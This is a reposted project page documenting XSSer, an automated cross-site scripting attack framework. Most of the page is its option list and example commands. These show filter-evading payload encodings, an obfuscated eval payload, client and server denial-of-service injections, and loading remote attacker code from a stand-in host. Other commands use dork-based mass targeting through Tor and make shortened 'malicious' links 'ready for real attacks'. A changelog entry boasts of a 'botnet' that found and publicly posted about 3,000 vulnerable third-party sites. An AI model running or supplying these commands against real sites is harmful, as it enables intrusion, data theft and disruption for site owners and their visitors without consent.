首页 > 代码库 > 【外文】XSSer automatic tool for pentesting XSS attacks against different applications

【外文】XSSer automatic tool for pentesting XSS attacks against different applications

2024-08-07 03:41:06 210人阅读

原文 http://xsser.sourceforge.net/

Introduction

Cross Site "Scripter" (aka XSSer) is an automatic -framework- to detect, exploit and report XSS vulnerabilities in web-based applications.

It contains several options to try to bypass certain filters, and various special techniques of code injection.

Current version

XSSer v1.6b ("The Mosquito: Grey Swarm!").

XSSer Grey Swarm

+Click for Zoom

Download original source code: XSSer v1.6 -beta-
Ubuntu/Debian package: XSSer-1.6_all.deb
ArchLinux package: AUR link (v1.6b)
Gentoo package: XSSer Gentoo ebuild (v1.6b)
RPM package: XSSer-1.6-1.noarch.rpm
Or update your copy directly from the XSSer -Subversion- repository:

$ svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsserThis version include more features on the GTK+ interface:

+Click for Zoom	+Click for Zoom
+Click for Zoom	+Click for Zoom

TIP: type: ‘xsser --gtk‘ to start from shell. Or run directly XSSer from menu xsser icon

Installation

XSSer runs on many platforms. It requires Python and the following libraries:

- python-pycurl - Python bindings to libcurl
- python-beautifulsoup - error-tolerant HTML parser for Python
- python-libxml2 - Python bindings for the GNOME XML library
- python-geoip - Python bindings for the GeoIP IP-to-country resolver library

On Debian-based systems (ex: Ubuntu), run:

sudo apt-get install python-pycurl python-beautifulsoup python-libxml2 python-geoip

Usage

xsser [OPTIONS] [-u |-i |-d ] [-g |-p |-c ] [Request(s)] [Vector(s)] [Bypasser(s)] [Technique(s)] [Final Injection(s)]

Options:

--version	show program‘s version number and exit
-h, --help	show this help message and exit
-s, --statistics	show advanced statistics output results
-v, --verbose	active verbose mode output results
--gtk	launch XSSer GTK Interface (Wizard included!)

*Special Features*:
You can choose Vector(s) and Bypasser(s) to inject code with this extra special features:

--imx=IMX	create a false image with XSS code embedded
--fla=FLASH	create a false .swf file with XSS code embedded

*Select Target(s)*:
At least one of these options has to be specified to set the source to get target(s) urls from.
You need to choose to run XSSer:

-u URL, --url=URL	Enter target(s) to audit
-i READFILE	Read target URLs from a file
-d DORK	Process search engine dork results as target urls
--De=DORK_ENGINE	Search engine to use for dorking (bing, altavista, yahoo, baidu, yandex, youdao, webcrawler, google, etc. See dork.py file to check for available engines)

*Select type of HTTP/HTTPS Connection(s)*:
These options can be used to specify which parameter(s) we want to use like payload to inject code.

-g GETDATA	Enter payload to audit using GET. (ex: ‘/menu.php?q=‘)
-p POSTDATA	Enter payload to audit using POST. (ex: ‘foo=1&bar=‘)
-c CRAWLING	Number of urls to crawl on target(s): 1-99999
--Cw=CRAWLING_WIDTH	Deeping level of crawler: 1-5
--Cl	Crawl only local target(s) urls (default TRUE)

*Configure Request(s)*:
These options can be used to specify how to connect to target(s) payload(s).
You can choose multiple:

--cookie=COOKIE	Change your HTTP Cookie header
--drop-cookie	Ignore Set-Cookie header from response
--user-agent=AGENT	Change your HTTP User-Agent header (default SPOOFED)
--referer=REFERER	Use another HTTP Referer header (default NONE)
--xforw	Set your HTTP X-Forwarded-For with random IP values
--xclient	Set your HTTP X-Client-IP with random IP values
--headers=HEADERS	Extra HTTP headers newline separated
--auth-type=ATYPE	HTTP Authentication type (Basic, Digest, GSS or NTLM)
--auth-cred=ACRED	HTTP Authentication credentials (name:password)
--proxy=PROXY	Use proxy server (tor: http://localhost:8118)
--ignore-proxy	Ignore system default HTTP proxy
--timeout=TIMEOUT	Select your timeout (default 30)
--retries=RETRIES	Retries when the connection timeouts (default 1)
--threads=THREADS	Maximum number of concurrent HTTP requests (default 5)
--delay=DELAY	Delay in seconds between each HTTP request (default 0)
--tcp-nodelay	Use the TCP_NODELAY option
--follow-redirects	XSSer will follow server redirection responses (302)
--follow-limit=FLI	Set how many times XSSer will follow redirections (default 50)

*Checker Systems*:
This options are usefull to know if your target(s) have some filters against XSS attacks,
to reduce ‘false positive‘ results and to perform more advanced tests:

--no-head	NOT verify the stability of the url (codes: 200\|302) with a HEAD pre-check request
--alive=ISALIVE	set limit of every how much errors XSSer must to verify that target is alive
--hash	send an unique hash, without vectors, to pre-check if target(s) repeats all content recieved
--heuristic	launch a heuristic testing to discover which parameters are filtered on target(s) code: ;\/<>"‘=
--checkaturl=ALT	check for a valid XSS response from target(s) at an alternative url. ‘blind XSS‘
--checkmethod=ALTM	check responses from target(s) using a different connection type: GET or POST (default: GET)
--checkatdata=http://www.mamicode.com/ALD	check responses from target(s) using an alternative payload (default: same than first injection)
--reverse-check	establish a reverse connection from target(s) to XSSer to certificate that is 100% vulnerable

*Select Vector(s)*:
These options can be used to specify a XSS vector source code to inject in each payload.
Important, if you don‘t want to try to inject a common XSS vector, used by default.
Choose only one option:

--payload=SCRIPT	OWN - Insert your XSS construction -manually-
--auto	AUTO - Insert XSSer ‘reported‘ vectors from file (HTML5 vectors included!)

*Select Bypasser(s)*:
These options can be used to encode selected vector(s) to try to bypass all possible anti-XSS filters
on target(s) code and some IPS rules, if the target use it. Also, can be combined with other techniques to provide encoding:

--Str	Use method String.FromCharCode()
--Une	Use function Unescape()
--Mix	Mix String.FromCharCode() and Unescape()
--Dec	Use Decimal encoding
--Hex	Use Hexadecimal encoding
--Hes	Use Hexadecimal encoding, with semicolons
--Dwo	Encode vectors IP addresses in DWORD
--Doo	Encode vectors IP addresses in Octal
--Cem	Try -manually- different Character Encoding mutations (reverse obfuscation: good) -> (ex:‘Mix,Une,Str,Hex‘)

*Special Technique(s)*:
These options can be used to try to inject code using different type of XSS techniques. You can choose multiple:

--Coo	COO - Cross Site Scripting Cookie injection
--Xsa	XSA - Cross Site Agent Scripting
--Xsr	XSR - Cross Site Referer Scripting
--Dcp	DCP - Data Control Protocol injections
--Dom	DOM - Use Anchor Stealth (DOM shadows!)
--Ind	IND - HTTP Response Splitting Induced code
--Anchor	ANC - Use Anchor Stealth payloader (DOM shadows!)
--Phpids	PHP - Exploit PHPIDS bug (0.6.5) to bypass filters

*Select Final injection(s)*:
These options can be used to specify the final code to inject in vulnerable target(s). Important, if you want to exploit
on-the-wild your discovered vulnerabilities. Choose only one option:

--Fp=FINALPAYLOAD	OWN - Insert your final code to inject -manually-
--Fr=FINALREMOTE	REMOTE - Insert your final code to inject -remotelly-
--Doss	DOSs - XSS Denial of service (server) injection
--Dos	DOS - XSS Denial of service (client) injection
--B64	B64 - Base64 code encoding in META tag (rfc2397)

*Special Final injection(s)*:
These options can be used to execute some ‘special‘ injection(s) in vulnerable target(s).
You can select multiple and combine with your final code (except with DCP code):

--Onm	ONM - Use onm ouseMove() event to inject code
--Ifr	IFR - Use "iframe" source tag to inject code

*Miscellaneous*:

--silent	inhibit console output results
--update	check for XSSer latest stable version
--save	output all results directly to template (XSSlist.dat)
--xml=FILEXML	output ‘positives‘ to aXML file (--xml filename.xml)
--short=SHORTURLS	display -final code- shortered (tinyurl, is.gd)
--launch	launch a browser at the end with each XSS discovered
--tweet	publish each XSS discovered into the ‘Grey Swarm!‘
--tweet-tags=TT	add more tags to your XSS discovered publications (default: #xss) - (ex: #xsser #vulnerability)

Examples

If you have interesting examples of usage about XSSer, please send an email to the mailing list.

-------------------

* Simple injection from URL:

$ python xsser.py -u "http://host.com"
-------------------
* Simple injection from File, with tor proxy and spoofing HTTP Referer headers:

$ python xsser.py -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"
-------------------
* Multiple injections from URL, with automatic payloading, using tor proxy, injecting on payloads character encoding in "Hexadecimal", with verbose output and saving results to file (XSSlist.dat):

$ python xsser.py -u "http://host.com" --proxy "http://127.0.0.1:8118" --auto --Hex --verbose -w
-------------------
* Multiple injections from URL, with automatic payloading, using caracter encoding mutations (first, change payload to hexadecimal; second, change to StringFromCharCode the first encoding; third, reencode to Hexadecimal the second encoding), with HTTP User-Agent spoofed, changing timeout to "20" and using multithreads (5 threads):

$ python xsser.py -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"
-------------------
* Advance injection from File, payloading your -own- payload and using Unescape() character encoding to bypass filters:

$ python xsser.py -i "urls.txt" --payload ‘a="get";b="URL(\"";c="javascript:";d="alert(‘XSS‘);\")";eval(a+b+c+d);‘ --Une
-------------------
* Injection from Dork selecting "duck" engine (XSSer Storm!):

$ python xsser.py --De "duck" -d "search.php?"
-------------------
* Injection from Crawler with deep 3 and 4 pages to see (XSSer Spider!):

$ python xsser.py -c3 --Cw=4 -u "http://host.com"
-------------------
* Simple injection from URL, using POST, with statistics results:

$ python xsser.py -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s
-------------------
* Multiple injections from URL to a parameter sending with GET, using automatic payloading, with IP Octal payloading ofuscation and printering results in a "tinyurl" shortered link (ready for share!):

$ python xsser.py -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl
-------------------
* Simple injection from URL, using GET, injecting a vector in Cookie parameter, trying to use a DOM shadow space (no server logging!) and if exists any "hole", applying your manual final payload "malicious" code (ready for real attacks!):

$ python xsser.py -u "http://host.com" -g "bs/?q=" --Coo --Dom --Fr="!enter your final injection code here!"
-------------------
* Simple injection from URL, using GET and trying to generate with results a "malicious" shortered link (is.gd) with a valid DoS (Denegation Of Service) browser client payload:

$ python xsser.py -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"
-------------------
* Multiple injections to multiple places, extracting targets from a list in a FILE, applying automatic payloading, changing timeout to "20" and using multithreads (5 threads), increasing delay between petitions to 10 seconds, injecting parameters in HTTP USer-Agent, HTTP Referer and in Cookie parameters, using proxy Tor, with IP Octal ofuscation, with statistics results, in verbose mode and creating shortered links (tinyurl) of any valid injecting payloads found. (real playing mode!):

$ python xsser.py -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"
-------------------
* Injection of user XSS vector directly in a malicious -fake- image created "on the wild", and ready to be uploaded.

$ python xsser.py --Imx "test.png" --payload "!enter your malicious injection code here!"
-------------------
* Report output ‘positives‘ injections of a dorking search (using "ask" dorker) directly to a XML file.

$ python xsser.py -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml"
-------------------
* Publish output ‘positives‘ injections of a dorking search (using "duck" dorker) directly to http://identi.ca
(federated XSS pentesting botnet)

$ python xsser.py -d "login.php" --De "duck" --tweet

* Examples online:

- http://identi.ca/xsserbot01
- http://twitter.com/xsserbot01
-------------------
* Create a .swf movie with XSS code injected

$ python xsser.py --fla "name_of_file"
-------------------
* Send a pre-checking hash to see if target will generate -false positive- results

$ python xsser.py -u "host.com" --hash
-------------------
* Multiple fuzzing injections from url, including DCP injections and exploiting our "own" code, spoofed in a shortered link, on positive results founded. XSS real-time exploiting.

$ python xsser.py -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"
-------------------
* Exploiting Base64 code encoding in META tag (rfc2397) in a manual payload of a vulnerable target.

$ python xsser.py -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64
-------------------
* Exploiting our "own" -remote code- in a payload discovered using fuzzing and launch it in a browser directly

$ python xsser.py -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch

Screenshots

If you have interesting screenshots about XSSer, please send an email to the mailing list.

-------------------


Core: Call to help main menu (--help) (v1.5)	Core: Example of automatic injections (v1.5)

Core: Example of remote code (--Fr) (v1.0)	Core: Example of DCP injection (--Dcp) (v1.0)

GTK: Documentation (v1.5)	GTK: Wizard Helper (v1.5)

GTK: Report crawling results from dork (v1.5)	GTK: Global Target(s) Geomap Reports (v1.5)

Videos

If you have interesting videos about XSSer, please send an email to the mailing list.

-------------------

Version of XSSer (v1.5):

- Video example of XSSer GTK interface.

Old versions of XSSer (v0.5<):

- Video1: Simple automatic payloading vectors. *reported to target (06/07/2010)*.

- Video2: Server side Apache logging. *spoofing demostration*.

- Video3: Dorking injections with stadistics results. *old explorer mode!*

Payloads

XSSer uses a list of XSS valid vectors to make automatic payloading attacks on target(s).

If you have interesting XSS "codes", please send an email to the mailing list.

-------------------

The reference table with supported browsers is:

IE7.0		Vector works in Internet Explorer 7.0. Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.
IE6.0		Vector works in Internet Explorer. Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.
NS8.1-IE		Vector works in Netscape 8.1+ in IE rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional. This used to be called trusted mode, but Netscape has changed it‘s security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option.
NS8.1-G		Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional
FF2.0		Vector works in Mozilla‘s Gecko rendering engine, used by Firefox. Most recently tested with Firefox 2.0.0.2 on Windows XP Professional.
O9.02		Vector works in Opera. Most recently tested with Opera 9.02, Build 8586 on Windows XP Professional
NS4		Vector works in older versions of Netscape 4.0 - untested.

Injections are valid as proof that browsers. The attacker can run the desired code if any of the listings.

Download

XSSer (official version) can be downloaded from itsSourceForge File List page.For now, download is available in the following format:

Source gzip compressed operating system independent.

You can also checkout the latest development version from the XSSer -Subversion- repository:

$ svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsser

Packages

XSSer v1.6b: "Grey Swarm!" (more updated):

Archlinux: AUR link

Gentoo: XSSer Gentoo ebuild

RPM package: XSSer-1.6-1.noarch.rpm

Ubuntu/Debian package: XSSer-1.6_all.deb
- Installation:
  tar xzvf xsser-1.6_all.deb.tar.gz
  sudo dpkg -i xsser-1.6_all.deb
  
  Run (GTK mode):
  xsser --gtk --silent

-------------------

XSSer v1.5: "Swarm Edition!":

Archlinux: AUR link

Ubuntu/Debian: xsser_1.5-1_all.deb.tar.gz

-------------------

XSSer v1.0: "The mosquito":

Archlinux: AUR link

Ubuntu/Debian: xsser_1.0-2_all.deb.tar.gz

Changelog

November, 28, 2011:

XSSer version 1.6 -beta- aka "Grey Swarm!" released!!

Core: Added Drop Cookie option + Added Random IP X-Forwarded-For option + Random X-Client-IP option + Added GSS and NTLM authentication methods + Added Ignore proxy option + Added TCP-NODELAY option + Added Follow redirects option + Added Follow redirects limiter parameter + Added Auto-HEAD precheck system + Added No-HEAD option + Added Isalive option + Added Check at url option (Blind XSS) + Added Reverse Check parameter + Added PHPIDS (v.0.6.5) exploit + Added More vectors to auto-payloading + Added HTML5 studied vectors + Fixed Different bugs on core + Fixed Curl handlerer options + Fixed Dorkerers system + Fixed Bugs on results propagation + Fixed POST requests.

GTK: Added New features to GTK controller + Added Detailed views to GTK interface.

February, 25, 2011:

Added package for Archlinux. More info here

February, 24, 2011:

XSSer version 1.5 -beta- aka "Swarm edition!" released!!

Core: Added GTK option + Heuristic test + HTTP Response Splitting (ak.a Induced attack!) + DoS (Server) injection + Final code (added DCP & DOM injections) + Update option + Code clean + Bugfixing + New options menu + More advanced statistics system + Updated dorkerers list.

GTK: Intuitive navigation + Wizard helper ("build your pentesting answering some questions") + Expert visor (with target(s) geolocation included + Documentation.

Created XSSer package (v1.5) for Ubuntu/Debian based systems.
You can download here: xsser_1.5-1_all.deb.tar.gz

November, 13, 2010:

XSSer package for Archlinux can be found in the AUR. More info here

November, 11, 2010:

Created XSSer package (v1.0) for Ubuntu/Debian based systems.
You can download here: xsser_1.0-2_all.deb.tar.gz

November, 9, 2010:

Added more advanced statistics results + Bugfixig.

November, 7, 2010:

XSSer version 1.0 aka "The Mosquito" released!!

Added "final remote injections" option + Cross Flash Attack! + Cross Frame Scripting + Data Control Protocol Injections + Base64 (rfc2397) PoC + onm ouseMove PoC + Browser launcher + Code clean + Bugfixing + New options menu + Pre-check system + Crawler spidering clones + More advanced statistics system + "Mana" output results.

October, 8, 2010:

POC: Detecting, exploiting and reporting "fcgi-bin/echo" Oracle vulnerability with XSSer

./XSSer -d "‘inurl:fcgi-bin/echo‘" --De "google" --proxy "http://127.0.0.1:8118" -s --tweet

Results of the -botnet- attack in real time:

- http://identi.ca/xsserbot01
- http://twitter.com/xsserbot01

Reported: apróx. 3.000 websites vulnerables (XSSer storm!!).

September 22, 2010:

Added a-xml exporter + ImageXSS + New dorker engines (total 10) + Core clean + Bugfixing + Social Networking XSS auto-publisher + Started -federated- XSS (full disclosure) pentesting botnet.

http://identi.ca/xsserbot01
http://twitter.com/xsserbot01

August 20, 2010:

Added attack payloads to auto-payloader (26 new injections) + POST + Statistics + URL Shorteners + IP Octal + Post-processing payloading + DOM Shadows! + Cookie injector + Browser DoS (Denegation of Service).

July 1, 2010:

Dorking + Crawling + IP DWORD + Core clean.

April 19, 2010:

HTTPS implemented + patched bugs.

March 22, 2010:

Added "inject your own payload" option. Can be used with all character encoding -bypassers- of XSSer.

March 18, 2010:

Added attack payloads to auto-payloader (62 different XSS injections).

March 16, 2010:

Added new payload encoders to bypass filters.

Documentation

If you have interesting documentation about XSSer, please send an email to the mailing list.

-------------------

Slides XSSer -"The Cross Site Scripting framework"- 2012 presented on RootedCon (spanish)
Slides XSSer -"The mosquito"- 2011 presented on THSF‘11 (english)
"XSS for fun and profit":

PDF with practice examples of some XSS techniques. It was presented on the conference SCG-2009:
- English version

Spanish version

XSSer URL Generation Schema:

Mailing list

XSSer has one mailing list hosted on SourceForge.

The xsser-users@lists.sourceforge.net mailing list is thepreferred way to ask questions, report bugs, suggest new featuresand discuss with other users.

The mailing list is archivedonline. To subscribe use the onlineweb form.

License

XSSer is released under the terms of theGeneral Public License v3 and is copyrighted bypsy.

Author

GPG Public ID Key: 0xB8AC3776

Website:

http://lordepsylon.net

Email:

psy
epsylon

Microblogging:

identi.ca
twitter

Community

If you are interesting in follow last news about XSSer, you can join #xsser-community on many different places:

Microblogging:

identi.ca
twitter.com

Social networking:

lorea.org

Or using IRC:

irc.freenode.net / channel: #xsser

Contribute

If you want to contribute to XSSer development, reporting a bug,providing a patch, commenting on the code base or simply need to find helpto run XSSer, first refer to the xsser documentation and then surf the xsser mailing list online archives. If nobody gets back to you, then drop me an e-mail.

Please, add one link to this site when you report some XSS vulnerabilities founded by XSSer.

Support

XSSer has been one of the winner projects of the NLnet Awards of April (2010).

NLnet fundation

XSSer has been added to BackTrack Linux (2010).

XSSer has been added to OWASP project (2012).

OWASP

This -framework- is actively looking for new sponsors and funding.

If you or your organization has an interest in keeping XSSer, please contact directly or send your ideas to the mailing list.

To donate some bitcoins use this hash: 1Q63KtiLGzXiYA8XkWFPnWo7nKPWFr3nrc

【外文】XSSer automatic tool for pentesting XSS attacks against different applications

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首页 > 代码库 > 【外文】XSSer automatic tool for pentesting XSS attacks against different applications

【外文】XSSer automatic tool for pentesting XSS attacks against different applications

Introduction

Current version

Installation

Usage

Examples

Screenshots

Videos

Payloads

Download

Packages

Changelog

Documentation

Mailing list

License

Author

Community

Contribute

Support

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